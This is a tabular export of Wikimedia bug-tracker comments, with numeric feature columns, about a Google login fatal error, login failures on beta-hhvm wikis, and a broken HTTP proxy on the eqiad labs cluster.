Set back to Patch to review, because the patch is not merged into git repository :)",,,1405949136,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,22.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,22.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.9130434782608695,"Thanks for testing Mike :)

Set back to Patch to review, because the patch is not merged into git repository :)"
315036,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"**mluxen** wrote:

After applying the patches I can confirm that they fix the error.",,,1405948661,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4285714285714284,0.8095238095238095,"**mluxen** wrote:

After applying the patches I can confirm that they fix the error."
315031,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"Change 148051 had a related patch set uploaded by Florianschmidtwelzow:
Fixed fatal undefined SpecialGoogleLogin::getHost

https://gerrit.wikimedia.org/r/148051",,,1405943585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.722222222222222,1.0,"Change 148051 had a related patch set uploaded by Florianschmidtwelzow:
Fixed fatal undefined SpecialGoogleLogin::getHost

GERRIT_URL"
70163,Login only works if an valid/existing username is set on loginform,"Actually it's only possible to login with Google via the button at the login form, if a valid (~existing) username is given in the login form.

Caused by: https://gerrit.wikimedia.org/r/#/c/143053/6

--------------------------
**Version**: master
**Severity**: blocker",Unbreak Now!,100.0,1405601460,1405714084.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-ifn7zlcevifxfxhk7yyx,task_description,resolved,True,c3,1,True,False,True,-50,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.685185185185185,0.7037037037037037,"Actually it's only possible to login with Google via the button at the login form, if a valid (~existing) username is given in the login form.

Caused by: URL

--------------------------
**Version**: master
**Severity**: blocker"
319421,Login only works if an valid/existing username is set on loginform,"Change 147114 merged by jenkins-bot:
Enable Login with Google without to provide an existing username

https://gerrit.wikimedia.org/r/147114",,,1405610379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ifn7zlcevifxfxhk7yyx,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,19.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.761904761904762,1.0,"Change 147114 merged by jenkins-bot:
Enable Login with Google without to provide an existing username

GERRIT_URL"
319411,Login only works if an valid/existing username is set on loginform,"Change 147114 had a related patch set uploaded by Florianschmidtwelzow:
Enable Login with Google without to provide an existing username

https://gerrit.wikimedia.org/r/147114",,,1405609713,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ifn7zlcevifxfxhk7yyx,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,17.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,5.416666666666667,1.0,"Change 147114 had a related patch set uploaded by Florianschmidtwelzow:
Enable Login with Google without to provide an existing username

GERRIT_URL"
65981,Login error when attempting to log in on beta-hhvm wikis,"If you try to log in at <http://en.wikipedia.beta-hhvm.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Main+Page>, you get: ""Login error: Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again."" This is despite the fact that HHVM-powered wikis map loginwiki to loginwiki.wikimedia.beta-hhvm URLs, and the cookies that it sets appear to have the right domain.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68044",Unbreak Now!,100.0,1397606460,1405446474.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-hi6lksqoylmu6glhe3kv,task_description,resolved,True,c3,1,True,False,True,-64,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,15.0,3.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,5.0,10.0,3.0,0.0,2.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.6979166666666665,0.6041666666666666,"If you try to log in at <URL you get: ""Login error: Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again."" This is despite the fact that HHVM-powered wikis map loginwiki to loginwiki.wikimedia.beta-hhvm URLs, and the cookies that it sets appear to have the right domain.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
URL"
295915,Login error when attempting to log in on beta-hhvm wikis,"As of about an hour ago: 

07:55 ori: chrismcmahonbrb: i'll fix it",,,1405440295,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.235294117647059,0.8823529411764706,"As of about an hour ago: 

07:55 ori: chrismcmahonbrb: i'll fix it"
295911,Login error when attempting to log in on beta-hhvm wikis,"Wow, that's bad.

Is hhvm able to talk to both memcached and redis? Does it respect our setting up redis/memcache as the session storage instead of local files?

Bug 68031 may be related. The captcha answer is stored in session, so if hhvm on labs can't handle mediawiki sessions, then it wouldn't work correctly.

I can't login to deployment-bastion, but if someone can grab the debug log of the a user hitting Special:UserLogin, and then the POST submission of their username and password, that would help track down the issue.",,,1405440059,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,True,,,-51,True,0.0,1.0,0.0,1.0,2.5,1.5,0.0,0.0,0.0,1.5,1.5,2.5,0.0,0.0,0.0,1.5,0.0,5.5,8.5,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,2.0,1.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,10.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,5.5,1.5,6.0,1.5,3.5,6.5,0.0,0.0,0.0,0.0,7.0,0.5,0.5,0.0,3.5,8.5,4.5,1.0,0.0,0.0,3.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,3.854204476709014,0.8257713248638838,"Wow, that's bad.

Is hhvm able to talk to both memcached and redis? Does it respect our setting up redis/memcache as the session storage instead of local files?

Bug 68031 may be related. The captcha answer is stored in session, so if hhvm on labs can't handle mediawiki sessions, then it wouldn't work correctly.

I can't login to deployment-bastion, but if someone can grab the debug log of the a user hitting Special:UserLogin, and then the POST submission of their username and password, that would help track down the issue."
295909,Login error when attempting to log in on beta-hhvm wikis,Bug 68031 might be a dup?,,,1405434115,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,Bug 68031 might be a dup?
295906,Login error when attempting to log in on beta-hhvm wikis,"This is now also reproducible for all beta.wmflabs.org sites that I have tried:

http://en.wikipedia.beta.wmflabs.org/
http://de.wikipedia.beta.wmflabs.org/
http://he.wikipedia.beta.wmflabs.org/",,,1405433112,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,True,,,-51,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,25.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.85,"This is now also reproducible for all beta.wmflabs.org sites that I have tried:

URL
URL
URL"
64234,http proxy doesn't work on eqiad,"when I setup wmflabs.org dns for any eqiad instance and try to relay it through https://wikitech.wikimedia.org/wiki/Special:NovaAddress I am getting some bad gateway error

this is likely because new instances can't be resolved from old cluster

--------------------------
**Version**: unspecified
**Severity**: blocker",Unbreak Now!,100.0,1393970700,1394716792.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,,False,PHID-TASK-ycoafngq74gnsddcxplf,task_description,resolved,True,c3,1,True,False,True,-70,True,4.0,0.0,0.0,2.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,4.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.218181818181818,0.8,"when I setup wmflabs.org dns for any eqiad instance and try to relay it through URL I am getting some bad gateway error

this is likely because new instances can't be resolved from old cluster

--------------------------
**Version**: unspecified
**Severity**: blocker"
287579,http proxy doesn't work on eqiad,Now it works... NOW. But I wouldn't be surprised if tommorow morning it stopped working again :P,,,1394716792,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.95,Now it works... NOW. But I wouldn't be surprised if tommorow morning it stopped working again :P
287573,http proxy doesn't work on eqiad,"It remains hard for me to debug this since I can't see the failure here.  Peter, can you please specify which exact URL is producing this failure?  Is it still just http://bots.wmflabs.org/ ?",,,1394715890,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,10.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,15.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,13.0,8.0,5.0,5.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.5384615384615383,0.8717948717948718,"It remains hard for me to debug this since I can't see the failure here.  Peter, can you please specify which exact URL is producing this failure?  Is it still just URL ?"
287568,http proxy doesn't work on eqiad,"Maybe it works in midnight only, but now in morning (europe) it doesn't",,,1394697643,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,24.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.8823529411764706,"Maybe it works in midnight only, but now in morning (europe) it doesn't"
287564,http proxy doesn't work on eqiad,"When I open the same link I get:

404 Not Found
nginx/1.5.0

That doesn't look like apache to me",,,1394697613,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,3.375,0.9166666666666666,"When I open the same link I get:

404 Not Found
nginx/1.5.0

That doesn't look like apache to me"
287560,http proxy doesn't work on eqiad,"If I access http://bots.wmflabs.org/~wm-bot/logs as per http://permalink.gmane.org/gmane.science.linguistics.wikipedia.technical/75917, I get:

| Not Found

| The requested URL /~wm-bot/logs was not found on this server.

| Apache/2.2.22 (Ubuntu) Server at bots.wmflabs.org Port 80

This doesn't look like nginx.",,,1394676107,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,28.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,12.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.44,0.82,"If I access URL as per URL I get:

| Not Found

| The requested URL /~wm-bot/logs was not found on this server.

| Apache/2.2.22 (Ubuntu) Server at bots.wmflabs.org Port 80

This doesn't look like nginx."
287554,http proxy doesn't work on eqiad,"I still do see:

404 Not Found
nginx/1.5.0

This is not from my server",,,1394613156,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9444444444444444,"I still do see:

404 Not Found
nginx/1.5.0

This is not from my server"
287551,http proxy doesn't work on eqiad,"well http://wdjenkins.wmflabs.org/ci for me seesm to be working a hell of allot better than it was when I first commented on this bug and I have done nothing so I can only guess cracking up the dnsmasq cache did something!

Will report back if anything else unexpected happens!",,,1394553663,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,12.0,16.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,6.0,2.0,6.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,2.0,4.0,2.0,0.0,0.0,3.980392156862745,0.9411764705882353,"well URL for me seesm to be working a hell of allot better than it was when I first commented on this bug and I have done nothing so I can only guess cracking up the dnsmasq cache did something!

Will report back if anything else unexpected happens!"
287547,http proxy doesn't work on eqiad,"http://bots.wmflabs.org/ works for me now, I get the initial 'It works!' apache page.  bots.wmflabs.org resolves to 208.80.155.156

I'm about to step onto a plane, but will check in with this bug when I arrive (which will take more than a day :(  )

-A",,,1394551247,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,7.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,9.0,2.0,2.0,9.0,0.0,0.0,2.0,0.0,5.0,0.0,4.0,0.0,9.0,12.0,4.0,0.0,4.0,0.0,9.0,0.0,4.0,4.0,2.0,0.0,2.0,0.0,0.0,3.392857142857143,0.8214285714285714,"URL works for me now, I get the initial 'It works!' apache page.  bots.wmflabs.org resolves to 208.80.155.156

I'm about to step onto a plane, but will check in with this bug when I arrive (which will take more than a day :(  )

-A"
287543,http proxy doesn't work on eqiad,Are you sure the 404s are not coming from your webserver?,,,1394549583,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.9166666666666665,1.0,Are you sure the 404s are not coming from your webserver?
287540,http proxy doesn't work on eqiad,But it's not. I still see the error.,,,1394545998,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6363636363636362,0.9090909090909091,But it's not. I still see the error.
287535,http proxy doesn't work on eqiad,This ought to be fixed by https://gerrit.wikimedia.org/r/#/c/118060/,,,1394531483,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,This ought to be fixed by URL
